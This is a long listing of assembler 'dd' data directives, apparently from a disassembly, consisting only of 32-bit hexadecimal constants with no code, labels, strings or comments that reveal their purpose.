		dd 4B9DC6FDh, 13CB8A5Fh, 0D9A70435h, 0CCECAEA4h, 6EC6CA4Ah
		dd 6FBE132Ch, 0D9BE4B8Fh, 5DFA2094h, 67EAD812h,	0B88EDDE2h
		dd 887B97h, 26E52CDh, 5147DD90h, 0C39BADCh, 0BC4FFD4Fh
		dd 1FA02E45h, 0DB62257Bh, 3E1514Dh, 0E14399F3h,	0C0914A2Dh
		dd 0FEE781FBh, 588E2712h, 0B375C4E5h, 80E1DB6Ah, 0D0FA7EB0h
		dd 171EE08Ch, 0AAFCE0A7h, 1529326Bh, 54A53F60h,	3F51C656h
		dd 2BC9D7DAh, 0D60696C1h, 1135FB9h, 3C49BFB5h, 0ECED5D6Ah
		dd 0CFB73C0h, 21250933h, 0F5519B59h, 405F564Bh,	82C5AFBFh
		dd 1825E7F9h, 14C27E57h, 0A260325Bh, 952958D8h,	5284314Ah
		dd 0C972DAFEh, 0F19D3114h, 0C244A82Ah, 22C5195h, 3B50ABE9h
		dd 18975FF2h, 4BC3807Ah, 0BD6985C2h, 0AF2EED10h, 0C9082E29h
		dd 518072CBh, 207E8255h, 0D3862FCCh, 0BBD58100h, 751C3671h
		dd 0B58B3A13h, 2D0B3CC5h, 0E58CFE0Fh, 0DAA8601h, 0DE755497h
		dd 4EF9339h, 98ED1DA0h,	0B9000CF2h, 97E4E3A2h, 8B4B379Ch
		dd 9D8A4998h, 8E7D09Bh,	0A7818588h, 0BF80FEFCh,	0BB507ABAh
		dd 3BF63CE4h, 60600EDBh, 417DA297h, 9DB82B90h, 0E0FDB75Ah
		dd 5E49C76h, 99A394FEh,	519304DEh, 0E168002Dh, 9D1A7F4Fh
		dd 76803050h, 0FE72EC41h, 0A7D8D74h, 9BFDB6C5h,	6033C7BAh
		dd 195D655Bh, 9C264B5h,	1A604C1Eh, 8D7069DBh, 4096A347h
		dd 0F7D87F96h, 54EF7DE6h, 28637CC0h, 1CD62F9Ch,	8C75F790h
		dd 27B3700h, 0E341C0DBh, 6569148Dh, 734C8350h, 631EA4C0h
		dd 23054C12h, 2A6DDEA3h, 0FE8A8003h, 4D4095Ah, 0D132FC24h
		dd 0F727007Dh, 0B76157B5h, 0DF7A6BFBh, 8156CFE2h, 52B9DB7Ah
		dd 49D5515Dh, 4A457751h, 548035DFh, 0A8B45980h,	257C909h
		dd 49695E1Fh, 10B4151h,	4815DABDh, 82CFAF5Fh, 0FDAAA4A0h
		dd 927DCB96h, 801B1E61h, 0F67F52D7h, 100FBB0h, 6146023Ch
		dd 0DB2DF59Dh, 9AE42Dh,	371B55C8h, 0C470DC0h, 9D335F04h
		dd 8EEA1E6Dh, 13C522C5h, 45418D89h, 2D24B792h, 2A5FDBF7h
		dd 57BC2DB9h, 69FF1626h, 0E40331Fh, 0BF0FE990h,	464495D9h
		dd 0F8D4A400h, 45C03F46h, 92B0006Ch, 0B7D7363Ah, 0BB1D62ADh
		dd 648BA51Bh, 0F57EE25Bh, 1560F36Fh, 39B65BB7h,	7E091F65h
		dd 0B0717155h, 5374FEA7h, 73DF1225h, 711EDh, 0B30BA3BEh
		dd 16CCAC8h, 2CBF5196h,	78553F9Ch, 87BB0F66h, 12B2B6FFh
		dd 0F8C6D02h, 0FE5D0978h, 456D4806h, 73D8BFF9h,	1E692185h
		dd 7D048749h, 0E87F56ABh, 0BD1313DBh, 0BE1EC0D4h, 896D37h
		dd 0F9C52D0Ah, 0B182B305h, 418DA04Bh, 0EBBDD6F2h, 8D42C26Dh
		dd 2D365C8Fh, 0A9004DB7h, 0E559034Eh, 904C26B9h, 129824F3h
		dd 2A42E1F9h, 0E13EF56Eh, 0A398D484h, 0B49D8CFDh, 0C8E8451Eh
		dd 8692A440h, 0C4BF5618h, 914F36A6h, 3F21B9A4h,	0BD83D0F2h
		dd 0FFE41D6Dh, 607DD6CAh, 0C5801B71h, 8DB06175h, 88431B2Ah
		dd 0E240CE9Eh, 12AA296h, 6640ACBCh, 0D0B54E43h,	0A909CE6Eh
		dd 3A59BA19h, 0BE04FF7Bh, 2471AE29h, 1521E3B7h,	961B497Eh
		dd 5DA11AD7h, 0E1AD6A79h, 0F67FFE51h, 0E425F00Ch, 72C693A1h
		dd 981B2418h, 0D98A1012h, 0A83A29CDh, 3CE8D6A5h, 0F9672225h
		dd 27485A11h, 556E8FC0h, 0D4FDA921h, 4B01C8BAh,	4549594Fh
		dd 0C9242FABh, 0E05F4A11h, 5B82D99Bh, 7B1570FAh, 84B6A80Bh
		dd 716B64DDh, 0C9B700E3h, 69EA73F4h, 1C00F5E4h,	0E7164FE2h
		dd 2BE874F1h, 22A079E1h, 5213001Fh, 70C56A64h, 7A01964Ah
		dd 0BD86F1C9h, 6ED80121h, 0E6F28AFh, 1FA92D8Ch,	355A96FEh
		dd 0ADBD84C5h, 22E2E120h, 10ACB2h, 1F14ECB7h, 0A2AE6D1Ah
		dd 0EDB2525Bh, 8CB6200Fh, 2FDAF360h, 0FD954DEAh, 0EF8B8084h
		dd 0CABFF284h, 41CA4ACEh, 53955722h, 0D67BAC74h, 0D48B6700h
		dd 0FBDA57D1h, 150112B5h, 0A04CE7C6h, 2827411Ch, 69D282FCh
		dd 4D54B7F9h, 70B0FE25h, 0E90BDBB7h, 0ECFFF3BBh, 9A1E0F43h
		dd 91C3B555h, 0DB8E64Bh, 0BE029809h, 0DFC1A589h, 4DB89D7h
		dd 2CCC61CAh, 1C110154h, 0BFBED63Eh, 4DE26F46h,	8DC18BC3h
		dd 3F4B8389h, 0C208DEC5h, 80C2C1Dh, 253E2BA5h, 0C04FADB5h
		dd 0C813BF3Dh, 8072DE5Dh, 0D9B34A27h, 0EBDA12E7h, 0A5638DF3h
		dd 0F4077626h, 0D488172Dh, 287C4035h, 54001EEFh, 0B744E9A8h
		dd 1FFFEC70h, 4455745Ch, 0FACAF145h, 94FE89C5h,	0F5B6BF15h
		dd 7F54DCF1h, 0DC2B58A5h, 7444575h, 0BF54995h, 0C1149B4Ah
		dd 0AF8279EBh, 424DD660h, 0A2375B1Ch, 0F4EBC0E0h, 0A020005h
		dd 0B739B598h, 7105D3BDh, 17926743h, 6A2AE600h,	0EAAF79h
		dd 58AB8D5Eh, 1E47F6A8h, 4FDE5200h, 0B41A9F1Bh,	93B2005Fh
		dd 0E718B0B1h, 96005651h, 0FB4AB7BFh, 921D3Eh, 0BCD86A05h
		dd 979909A9h, 0FC55F100h, 0B658766h, 0A7AA5h, 91F437BFh
		dd 5271C88Bh, 0B0BD2B00h, 38ADFCC6h, 0E0730049h, 9728CC72h
		dd 2176D230h, 10997800h, 0CA8B4879h, 8D7301AAh,	0DB3EEDACh
		dd 0B0AEF474h, 77694500h, 0F16E0333h, 0EE63E840h, 78887FE4h
		dd 0E12B07F6h, 0C039B953h, 7B783419h, 0B7A6700h, 88DF6D8Fh
		dd 0B30E398Eh, 57F2083h, 10A6B966h, 7625D600h, 0D72B3FD4h
		dd 3B37338Ah, 2103D308h, 5762DF8h, 34E0B0B4h, 303EFACBh
		dd 5168F0D5h, 77806B04h, 7FB68056h, 2618FD84h, 3FD77608h
		dd 40CCC433h, 47762EF7h, 0DCAB3F27h, 50651B18h,	3400CAB5h
		dd 1D79E2A2h, 7497068Eh, 0D368C7B6h, 3C27B0D6h,	7B33DACAh
		dd 0C70934h, 79DEF321h,	0AB1BB27Dh, 41506A60h, 848FECEAh
		dd 6430B578h, 4E3E10A8h, 298B00A1h, 0C998CBEDh,	0DE1C7F02h
		dd 981D908h, 0CFB22237h, 9931ECh, 0E52B0A18h, 8562B36Ch
		dd 28796607h, 9B30D02Ch, 38DC2Fh, 243A0AE9h, 45A9411Bh
		dd 6E326D00h, 9DB05F71h, 0A3F87Eh, 48F7B1Ah, 0E7828862h
		dd 6100F879h, 7C63FE2Fh, 906E8A30h, 261AA076h, 22EC85h
		dd 0D508D472h, 1001C8A9h, 0AE5CE400h, 4ADD1AE6h, 45A70C7Fh
		dd 0A83004ADh, 4E398F60h, 384CC3h, 450E7D9Ch, 0C6B10D24h
		dd 88128E00h, 55FC10A6h, 29ED3C19h, 49F8C4A2h, 41FB0C1Dh
		dd 6FD900BAh, 0FD22AFE5h, 8B0A379Bh, 2E0DB018h,	5478ADC2h
		dd 612C7D00h, 6E4606F6h, 0D249C0CBh, 0FE5C010h,	3F00F0FCh
		dd 50CE2A0h, 1C470E23h
		dd 0CB244BDBh, 0FE00EC9Fh, 0EB0FD889h, 844ACA00h, 0AA5E70A7h
		dd 0A6BC00C8h, 306DC1Ah, 730C3D29h, 78919EF7h, 106A0F8Ah
		dd 0AA48E3Fh, 0B0955DCFh, 1D6E0080h, 1199DB87h,	6088009Eh
		dd 780A1045h, 38C0845Dh, 5766C34Ah, 68C0FFC1h, 0D4A60080h
		dd 20CC1781h, 0BD0001B8h, 7CF9A1B7h, 8892B9h, 8DFDDE87h
		dd 60468FD4h, 5E252A00h, 0EB36C3C5h, 0B6190098h, 0C29378A1h
		dd 45000CABh, 56C4086Eh, 3092C13h, 965CEF77h, 17C07123h
		dd 370CE88Ch, 68BB39EAh, 0DAC40F85h, 0F4C06B10h, 55C6E26Ch
		dd 7F06E301h, 0CE6486C9h, 60824CF0h, 15A719B8h,	0EF7C3C57h
		dd 0D45E3410h, 74788581h, 75B7F00Fh, 4FEE3900h,	965B6B9Ch
		dd 0AEA00008h, 2F11C030h, 2CE07FEBh, 3B183Fh, 0C77D8AF2h
		dd 0A08C4428h, 383E9980h, 5980E83Dh, 6629F6BCh,	0F20060E3h
		dd 0C0D78703h, 0F9A614h, 0D254133Eh, 7319F51Ah,	780CA070h
		dd 8D0B9DEh, 0F821C017h, 20D919FEh, 0DF0BE901h,	649DA432h
		dd 7EA9CCh, 626B3CC6h, 4F133AD2h, 27BE5C00h, 23370A25h
		dd 0B0C60024h, 8E5D3408h, 1A0CB18Ah, 386675BCh,	0D1C900A7h
		dd 0AB54E53Ah, 70DE0F41h, 1EB13301h, 0BDD085D6h, 9894373Eh
		dd 0CE21DC08h, 671EA900h, 626E5505h, 0C4170889h, 13800906h
		dd 6CE9D1BEh, 7411CC59h, 0DF03F5ACh, 0D70F1EA5h, 7308309Dh
		dd 7EAC9721h, 0D16C9009h, 97401D8h, 77EC22E7h, 8661CB8h
		dd 3A8D40DCh, 0B139097h, 27079C00h, 0F939845Ah,	48DE603Ch
		dd 4FD4B254h, 0CD0664E6h, 0FD515830h, 21B56008h, 0D24FEC98h
		dd 0DAF2FC00h, 49BEEDEh, 0E91707DCh, 7C2CF085h,	3A0C7358h
		dd 0D8E848B9h, 0C2FA00D4h, 0ACCF54E6h, 0A0A07A5Dh, 4DFE1586h
		dd 3EC8DC00h, 0A91D0ACAh, 6E170041h, 0B7099685h, 0C9B82E01h
		dd 0E618D600h, 7F161E90h, 975800D4h, 0EC346392h, 74FE7968h
		dd 84374Ch, 0B0D2A01Eh,	0E2E4832h, 9B68DB93h, 0AE36EFA0h
		dd 0F6002C3Fh, 0ABDD34D6h, 9D902Ah, 0F55B39D2h,	5E9A6C78h
		dd 58061D00h, 0D6ECD345h, 61CC0548h, 0C0A967FBh, 77D78E90h
		dd 3FBD4038h, 0B5978076h, 0F50D582Fh, 0B8D0007Bh, 0BE5A019Eh
		dd 40FB8998h, 9B4381F5h, 0BC0411D0h, 3BF330E9h,	4DC43710h
		dd 0C0AFBA00h, 1784E497h, 34700FBh, 58F0827Eh, 1400E609h
		dd 745B5E1Bh, 0F8C643h,	5D24A596h, 0A0787E35h, 0CFD6C701h
		dd 0BF28B404h, 1C58A3DCh, 0F6F8A2h, 0F9418208h,	0F50089ABh
		dd 84B35C75h, 173BC9h, 5D110715h, 4C415619h, 3DF96A00h
		dd 668C8213h, 33FC0126h, 0EAE5B69Eh, 0F10DECB8h, 0BDE41B1Fh
		dd 0AE593B81h, 1C3077EBh, 9C7601FCh, 0F3DF0E43h, 9108E4E0h
		dd 60927D00h, 6C445C50h, 486100D5h, 1C559031h, 0A3005173h
		dd 0BF132247h, 0FA78FE46h, 7DD54CBBh, 80C29445h, 1D210B60h
		dd 0F5561CD1h, 2C5A8034h, 0F6C0360h, 0A6919300h, 59B5DF72h
		dd 6D32002Bh, 1FA5ECD4h, 1A7A9B80h, 46D5BA0Ch, 0F5F5991h
		dd 9558D6F7h, 0CAFDE80h, 0D0017D7h, 8C2BFF24h, 0EF9640h
		dd 3BC5DCC7h, 238E566Fh, 57D52000h, 80995D82h, 0ECCF04CEh
		dd 0C1F9BD74h, 0D9C84F6Ah, 5883600Dh, 0B3826407h, 1E23B942h
		dd 0FEE839D9h, 0C9AA7998h, 8C204F54h, 6E0100DDh, 785B149h
		dd 0C600F31Ah, 97EB93CDh, 198B4E2h, 8A71DFCEh, 21160190h
		dd 0B25080D0h, 0EE846619h, 0A25E01C4h, 11A6333Bh, 0C971800Fh
		dd 7F9B6B16h, 0C3460057h, 0CC05AA09h, 701139Dh,	0C031B998h
		dd 31830D0Fh, 0D1B0DAADh, 0D0E374E9h, 66283DE0h, 0A600DC56h
		dd 0C4B72A62h, 0A28336Fh, 5EA5F8FEh, 0F2E640D0h, 0B67F3022h
		dd 875FBE00h, 504AF51Bh, 7DCC046Ah, 905EBFC3h, 44376580h
		dd 0CEB72300h, 0AEE92583h, 0D5FA006Bh, 2297FBAh, 2E507688h
		dd 0E0C07AEDh, 3EB648ADh, 9E0400DFh, 2C0C1B75h,	0B900FD05h
		dd 35226930h, 6A54FBh, 0D24D6152h, 913A5C46h, 0B500E67Ah
		dd 0FFB6BC08h, 0C0AA7136h, 3D69AFD0h, 4C0016A1h, 0BB3FA82Ah
		dd 0E1250117h, 30F476FCh, 0EB094B4h, 8007D238h,	270AAF59h
		dd 0A49340F2h, 53C053C8h, 2632CAEDh, 395E07h, 797DDED6h
		dd 43076FF9h, 9EBB22D8h, 0FBBE7E00h, 1D4905h, 15DC0C7Dh
		dd 0CE90A98Eh, 9B428A02h, 0A090E9DEh, 0A3FE51F0h, 1203027Dh
		dd 0B5C1CEAh, 8061D461h, 87143521h, 1B6209h, 0A650021Eh
		dd 0E9B1B8ADh, 0EFD7E83Bh, 0E0512029h, 0CB7048h, 0EA093CBCh
		dd 7E654D25h, 80DAC301h, 6BB4347Fh, 7B9022h, 0D69F7B01h
		dd 9EFB9DE5h, 96EC4Ch, 0B11BFFF9h, 3DE56D2h, 5E2B36C2h
		dd 4380383Eh, 0F90F311Eh, 0A0025D89h, 47D34DBAh, 0E4780EE9h
		dd 0EA21C2EFh, 0FF0B0899h, 0DB19F3F0h, 9026D601h, 478312A8h
		dd 0E6108E80h, 21A0817Fh, 6558E51Ch, 0C53BFF80h, 0B0B744h
		dd 0B82BCD1Dh, 985FC918h, 0A9F03807h, 0BF491Ah,	0AF95EE09h
		dd 0CD280030h, 77E6A4ADh, 0CB3E7E9Eh, 30280CFh,	0C35A823Ch
		dd 6B530628h, 84394598h, 7964D826h, 0A23BB400h,	733A1A23h
		dd 826313DDh, 0C9E04016h, 0D32E8544h, 7C00CB71h, 4866CC77h
		dd 1EC51D2h, 42821A2Dh,	80108AE6h, 0BE7B5AA0h, 0AD3ABCh
		dd 5B5E436h, 0F0C22DF1h, 54CB2005h, 88C0490Ch, 3A0B338Ah
		dd 0EE9EA088h, 276000D8h, 2CBAD0E0h, 0C9FDAD0Fh, 4C332005h
		dd 49ACBEA9h, 460FA85Ah, 2662C2A1h, 2840497Dh, 8101C7E1h
		dd 5A7CBC8Dh, 0A3FCC128h, 24D2E084h, 253DA6Ah, 0CEB36319h
		dd 9AC3E840h, 80A3A63Dh, 16DFD327h, 9C62A65h, 7399C87Fh
		dd 186C4401h, 0F8282013h, 4083670Ch, 17A8130h, 2741C5A1h
		dd 8079A984h, 0EEB3A3F8h, 1DB9767h, 72730EA4h, 0C0EC8947h
		dd 0D1C0933h, 54805F1Bh, 21388D3Ch, 7FF30037h, 405BD5EBh
		dd 0DE0FF512h, 3B58E6h,	75EF1179h, 56970001h, 7C2A2006h
		dd 83003A9Bh, 4F903039h, 8D2D9h, 7445A259h, 408A8701h
		dd 5F67812h, 3B00EBF8h,	5CC2FC53h, 0B3017741h, 0B49BDD85h
		dd 0C9E829CCh, 19FA078Dh, 50C27F62h, 0DE53BE01h, 127A423Fh
		dd 2700A163h, 4BC5D158h, 0B7310FCFh, 80DE2743h,	2ACB4E04h
		dd 0DF7962F9h, 0AB29DA26h, 8033BC39h, 0B45F0BF2h, 269751h
		dd 99A1522Ah, 0A672AD17h, 84D8B702h, 0C86122CFh, 4C1D5C4h
		dd 3495A44Fh, 273C9092h, 5C73E9A6h, 511E8A71h, 9F00BA26h
		dd 607C90E2h, 0C07BF9h,	0F5AF07A9h, 3CED99B7h, 0E6B0BD00h
		dd 0D1A48A2Bh, 0C1972A12h, 0FACF0092h, 0F363EE49h, 5614F934h
		dd 61D6334Bh, 1B8D0970h, 0A4A502E0h, 0C0FE2208h, 651C7500h
		dd 11E207DAh, 76BA0316h, 0E3A364EBh, 7D1A36E8h,	3161B200h
		dd 0BFC872D6h, 0AB2C030Bh, 94D0B16Ah, 208F4B99h, 9003BA20h
		dd 93FE11B4h, 6B58020Bh, 973E2909h, 94963048h, 0F674C9Ah
		dd 5DD07F88h, 5D11631Ch, 8909A44Dh, 0F80865Ah, 4EFBAA30h
		dd 0C21C9F00h, 939122BAh, 0BBF84Ah, 53DBD73Dh, 90C7EA15h
		dd 11CAFD01h, 0FE780796h, 3B4380D0h, 2EAE4F51h,	3E4040ECh
		dd 7C0065D2h, 0E472B02Dh, 1C34E33h, 896AD4C4h, 1093B3FFh
		dd 37CBEB8h, 1BCD0963h,	9181197h, 582086BFh, 0C57C00B9h
		dd 3294B2BEh, 0B0F64811h, 69D98700h, 16AADC14h,	898E008Fh
		dd 0E21393EEh, 0AC02748Ah, 0B9472F88h, 0D77DC0B6h, 903C54E1h
		dd 81700BAh, 591238Bh, 0B00E302h, 0E43088A5h, 70BCC17Bh
		dd 2464001Fh, 489D9891h, 20A7836Bh, 0C009D488h,	318194D9h
		dd 0F883C54h, 0BED36200h
		dd 8AB468BAh, 85066B2h,	0F2002149h, 0FAF3D36Ah,	4D2D0FFh
		dd 93E9BD87h, 7153002Fh, 0E13336h, 0C455E50Bh, 0D47D0EA0h
		dd 0D9011FB0h, 3DADDEF3h, 8440455Ah, 0B84D6F0Ch, 0C8575956h
		dd 807B2F00h, 53120744h, 1A3C6D19h, 2180BF09h, 2944485Bh
		dd 0B203E2ABh, 0F7EC864Dh, 0AB88B235h, 0E8A400C4h, 9D1358h
		dd 0CDFD6491h, 0D37F1CCh, 0F066AB1Eh, 5ED3B1F0h, 0C77000B3h
		dd 1E884E92h, 0C28310Ah, 7E468C41h, 0C3D37902h,	4A3140BAh
		dd 0D361FD10h, 0F49AF800h, 6E9AF83h, 500700BAh,	45BEED4Eh
		dd 901294F3h, 284184BBh, 3B66DD92h, 76048440h, 72AC01CAh
		dd 0A879B3Eh, 0AF598026h, 0CB6EE5FEh, 758F030Bh, 8587B23Eh
		dd 0A250C053h, 0FC2530BDh, 1A7DDA71h, 95306803h, 7B3D0887h
		dd 491E7071h, 0A001885h, 88A743E9h, 8D611640h, 0EE020B69h
		dd 305C40EEh, 0C88C8EBh, 897CBDC3h, 0BE18C509h,	0FEB45388h
		dd 0DE603DBBh, 0A3F0D431h, 12582294h, 680166ACh, 310D6111h
		dd 80911CD1h, 270645Bh,	627CBF60h, 0C0D50921h, 0F17CB651h
		dd 0AFF95800h, 0B19099EDh, 0A82F8095h, 0DD4EDF01h, 318D1F1Bh
		dd 0C30A8840h, 2E1C8096h, 8AE820h, 3F27066Eh, 65BE9077h
		dd 0AF3420A8h, 31925C19h, 0A9104DA8h, 0A451EA03h, 8B619F94h
		dd 0B860C02h, 22B8A02Bh, 8084B406h, 3160B6E9h, 6B2FAF18h
		dd 5424F9F0h, 0D4080069h, 77FB0E80h, 9C50694h, 5CD0307Eh
		dd 136D4FFh, 0B99DA8E3h, 41E9C4DBh, 0BCAED4h, 24919B75h
		dd 11B8FD86h, 447680BBh, 8C2312D5h, 151A344h, 0DE96447Eh
		dd 0E4E7FD15h, 0EA7E9F14h, 3B00E9B6h, 55C32711h, 0DE7626F3h
		dd 0D2E802D2h, 7841D716h, 0B2498A1Ch, 0DB808C8Ch, 0D712B9BCh
		dd 0BA910287h, 0D69A1E01h, 9FDEF881h, 0B50FF292h, 210B00E0h
		dd 0AB8E5CB2h, 1A7832F6h, 0E02E1D58h, 75D510C9h, 0CE0D09AFh
		dd 0A406C3B3h, 94065031h, 0BD0B8734h, 0D17891F1h, 0D6184Eh
		dd 871F14DEh, 0C00DA857h, 64D4048Ah, 7BD40960h,	0C0D30E21h
		dd 4ED40CC4h, 27D96707h, 0F9943453h, 92E72C80h,	0F8496498h
		dd 237454A7h, 4F92C01h,	98BD097Dh, 5288BA74h, 0E87C00B7h
		dd 1F0DD28Eh, 3C90A97Fh, 9999E09h, 281D8CB2h, 0DC7E6Eh
		dd 3289D6D9h, 6106169Ah, 58755E05h, 0F0372E1Eh,	845F3E65h
		dd 0C6A38C40h, 0A8C82D83h, 24E20BFCh, 30BE7Eh, 0E1EBECA9h
		dd 0E9303A38h, 5199F177h, 1E3007Ch, 8FCB1A27h, 35005A21h
		dd 36A6EB7Ah, 9217B2B8h, 2CF04414h, 125E0C13h, 27098C02h
		dd 18E08FB3h, 263FC489h, 31069A4h, 443EA118h, 4422022h
		dd 7D6B58A9h, 88B88019h, 142AA80Ch, 0D724D0EAh,	0C5880C8Ah
		dd 0FCDA1097h, 0E1B08C47h, 28FD1313h, 0B18E0004h, 6E865608h
		dd 170340Ch, 0ADD844A1h, 0A684BE91h, 46747CE9h,	800400A3h
		dd 0B226B568h, 0E969C65Ah, 8275E18Bh, 0F3320400h, 0ED88C27h
		dd 8AA62C76h, 894D881Ch, 10898F6h, 0A9E1B2ABh, 0A49AA7CBh
		dd 467428C9h, 95BE00A1h, 620CF976h, 5AA91848h, 0C60E2190h
		dd 3C0713B8h, 1EDD820Bh, 2BD20270h, 0A4897F69h,	7CC3045Ch
		dd 0CEB5097Eh, 0BA4D09FCh, 5407077Ch, 8A442C30h, 2C9032h
		dd 83237612h, 0C2E3E56h, 7C0ADA3Fh, 661CE100h, 163C986Eh
		dd 3454487Ch, 7251AB00h, 3D5692B2h, 4D0EB00h, 9A499778h
		dd 0E42E0C6Dh, 12400785h, 79E6C618h, 2C78C58h, 0A3965A04h
		dd 948407EDh, 447760B8h, 1B1223D0h, 5000BE11h, 2B3B447Fh
		dd 0CD9087C6h, 11003D98h, 0FD371852h, 69F6D58Ch, 6884D04Eh
		dd 9AE85892h, 6F8C8049h, 0A44C8090h, 0C06AC858h, 0E79D407h
		dd 7A220346h, 0D402C600h, 7C379E4h, 54D05848h, 2A0A890Bh
		dd 946900AEh, 18B70419h, 944087Ah, 0A0C48312h, 825544h
		dd 0CFC84BD4h, 8AD51974h, 0F00CB81Ch, 0E498B95Fh, 2B973A01h
		dd 68BC2FC4h, 0C758C842h, 677C4490h, 0D3AABED0h, 0FD20018h
		dd 6638DAD6h, 605A515h,	490B9780h, 75A840C1h, 0DEE21300h
		dd 2FE8BF61h, 0D4718946h, 2411B3E9h, 0A064C17Eh, 0E38438h
		dd 49621412h, 9600342Ch, 3E73E1E5h, 0BC3F03D8h,	0E0DCBB07h
		dd 0A1EB89E9h, 20B45348h, 642640C4h, 0C0B6B408h, 120A4479h
		dd 0E0B84B48h, 7244815Ah, 0C420413h, 0C16167C6h, 0FCD93108h
		dd 0D7062C52h, 94D3BE8Eh, 53A0118h, 617C5412h, 488C308Bh
		dd 0D363048Ch, 6250BAC1h, 6BEF204Bh, 0BA722FD3h, 0A46C3428h
		dd 804F1094h, 730AA4F8h, 9CEE82h, 0AB04BD1Fh, 0DD0AA0Bh
		dd 0F8413E31h, 0E09EE591h, 4618F1B7h, 4789021Ah, 2F85E264h
		dd 745BF18h, 5650C235h,	0C216173h, 45C1F976h, 0EA9C04E8h
		dd 0AE20013Fh, 884090BAh, 406011Ah, 0A6B14E78h,	0C4B48957h
		dd 74006AB3h, 0E0AC6C91h, 94B0AEEh, 823C2CD5h, 30A6F460h
		dd 7AA42614h, 62BC4884h, 0A6B2810h, 0C7640F1Ch,	0E8D03DE1h
		dd 8830F405h, 767A1248h, 29495A03h, 907EA042h, 0E0B4340h
		dd 4EEE5F4Fh, 70690D07h, 50071728h, 33317C00h, 7739C68Fh
		dd 0A6EF0068h, 0B27AD93Ah, 9900E71Eh, 31DFC942h, 112929Eh
		dd 0D69D7EA3h, 7011BED4h, 1B0E8890h, 0A0139B08h, 0E4B80D7Fh
		dd 4E2A0049h, 0AB08EB6h, 290096D7h, 84D00925h, 2CB53D64h
		dd 36BF82Eh, 4EE4432Fh,	0E63863C0h, 0A224BA00h,	0EEDF8ED1h
		dd 132F01CEh, 0EBF5A310h, 11EF4025h, 0AC3DA0DDh, 247701F1h
		dd 15678C35h, 3E17D7E0h, 9E862787h, 28D53044h, 501B2900h
		dd 0BF4B0B90h, 1EA80FFAh, 0DD8F0F7Ch, 5177CB20h, 30002BCAh
		dd 7F531B3h, 841D26h, 3BE19A8h,	0D7B8BD89h, 0B4C70D0Fh
		dd 0AE2980AAh, 7CD9F29Fh, 0DE95301Dh, 0ED883119h, 99D84006h
		dd 0A92E28h, 3DF351B3h,	53AB83F0h, 19DCF51Fh, 9C36AE07h
		dd 0BF3F84D0h, 60130150h, 5A1AABFBh, 0DDB881AAh, 0D565DF1Dh
		dd 130608Ch, 0B900AFD1h, 6A0DC297h, 0DAFAFDh, 0E5ED131Ah
		dd 8331BE45h, 4AA10900h, 27ECCFD0h, 0CA92072Dh,	60FE4872h
		dd 7E1EA7E6h, 34153500h, 0CF239ED4h, 7BD100D6h,	9A127333h
		dd 0CD078794h, 0CE90527Fh, 0D43143h, 12ABD820h,	3B966D7Dh
		dd 60009DF0h, 0DB775C68h, 20813Ah, 0D37DA050h, 0E57B5BD6h
		dd 60D2FC3Ah, 0E95B110h, 915801AAh, 0BF50D031h,	80EAD12Eh
		dd 0E8D9321h, 908F4504h, 52070F61h, 3001BACAh, 0C0E8B82Eh
		dd 95600110h, 0FFB6D4C0h, 3D99CF8Ah, 4064830Ah,	949712AAh
		dd 91CE9F21h, 0A295142Dh, 9A920099h, 0DAC3CCCBh, 6EFE0188h
		dd 94CC124h, 0BB983D1h,	0D506F8h, 0EF13A158h, 0E2B4CD45h
		dd 0B6C021DDh, 3BB77322h, 90700065h, 4A52EECCh,	0DE009976h
		dd 0E5CAE25Ch, 387EB664h, 0E704B0D7h, 0E8F9A1D5h, 5BD1003Bh
		dd 0C6AA0FE4h, 0EEB00CE9h, 570891FEh, 0DFC021C0h, 7FB16A0Fh
		dd 0E8C33A6Dh, 0CC2305F8h, 0ACE9908h, 11B8AC88h, 0E9387E3h
		dd 2EC158C1h, 9188EB0Ch, 0C70E008Bh, 0C521E8F5h, 23381E27h
		dd 15FE014Bh, 0DC7B54B8h, 0A982848h, 9958A70Eh,	45E4C4E0h
		dd 0A4809092h, 3FA0FA0Bh, 24808520h, 0B0C85523h, 0A8C0D9ACh
		dd 618FB51h, 1DF0F529h,	203D2ABFh, 96A11FF0h, 0FFB4829Bh
		dd 5449C169h, 0D3243050h, 100DF8A1h, 0C5DF5420h, 404DF879h
		dd 1AFBAE94h, 4500C8A2h, 197A23A4h, 3EAFF2h, 2C512A44h
		dd 0E5D8114Fh, 0C0ADD52Bh, 0A60FF001h, 581849C6h, 7EBC488h
		dd 0E8CB1B0Fh, 0B72D9011h, 0B6035153h, 336DE6BBh, 0C8280FD2h
		dd 0B8D90D10h, 11E92074h
		dd 891DD307h, 93B0AEDFh, 159057ECh, 0ACDDBA7Eh,	3646BD0Fh
		dd 80B80740h, 7E987A5Bh, 0E860FFF7h, 0ED4089F6h, 5F750659h
		dd 8AD53CFh, 9341EB60h,	0BE4081h, 0A144576Ch, 0D1C7B631h
		dd 1841D640h, 0F80CA047h, 0B8003CECh, 96EF26BFh, 90528C10h
		dd 0A0C8C0DCh, 22C8939Ah, 0AC805D2Ah, 34E03A03h, 938196B4h
		dd 798CE060h, 0C8590CDBh, 0B18DF3Ch, 84A9CF67h,	5C249145h
		dd 59F03DC0h, 445CA47Dh, 40E298E8h, 51FF8601h, 9A08A7B0h
		dd 5C599C40h, 820E9BCh,	0E3750A7Ch, 83C48336h, 0EDC1FE60h
		dd 0E1572804h, 60CB379Dh, 0E1C026C8h, 3A18B12Ah, 985354Ah
		dd 803FDF14h, 0A50B104Fh, 651EAE00h, 0C1F3E134h, 3E3300E8h
		dd 7C84434Fh, 0A700785Eh, 0C9BDB74h, 1CD3F915h,	802419AEh
		dd 98D05AFEh, 600CCBF2h, 40E6723Ch, 1CA018CAh, 0F7B758A6h
		dd 0D8B4FF00h, 1397E2E3h, 79B4915Bh, 8118EAh, 0ADA32FF1h
		dd 7DC98C37h, 23123A06h, 7129EF51h, 0B7EC28D2h,	947ED4h
		dd 98E855DAh, 9040F270h, 3F877600h, 41EC7CA4h, 7BA13DD4h
		dd 144C228h, 18D5E6CCh,	41352A6Ch, 0D03D90C8h, 4F06148Dh
		dd 1BC03CD3h, 98CA0318h, 1EAC68D7h, 0E0CC01E1h,	0D4A0C390h
		dd 0E409444Fh, 2E8BD7Dh, 27C85DDCh, 741A5034h, 0E30A81A0h
		dd 0B8766C65h, 68D28B81h, 502050C4h, 0C0934DF9h, 2818E519h
		dd 74A00846h, 7C9B0E58h, 0B16782DBh, 0D778CCB4h, 4F4A120Ch
		dd 0A457D1C9h, 0C6BD741Ch, 0C0829619h, 0D072E628h, 0C835A40Ah
		dd 0D3024C14h, 0CA314C5Ch, 421F4340h, 0A0A25C21h, 0F7969220h
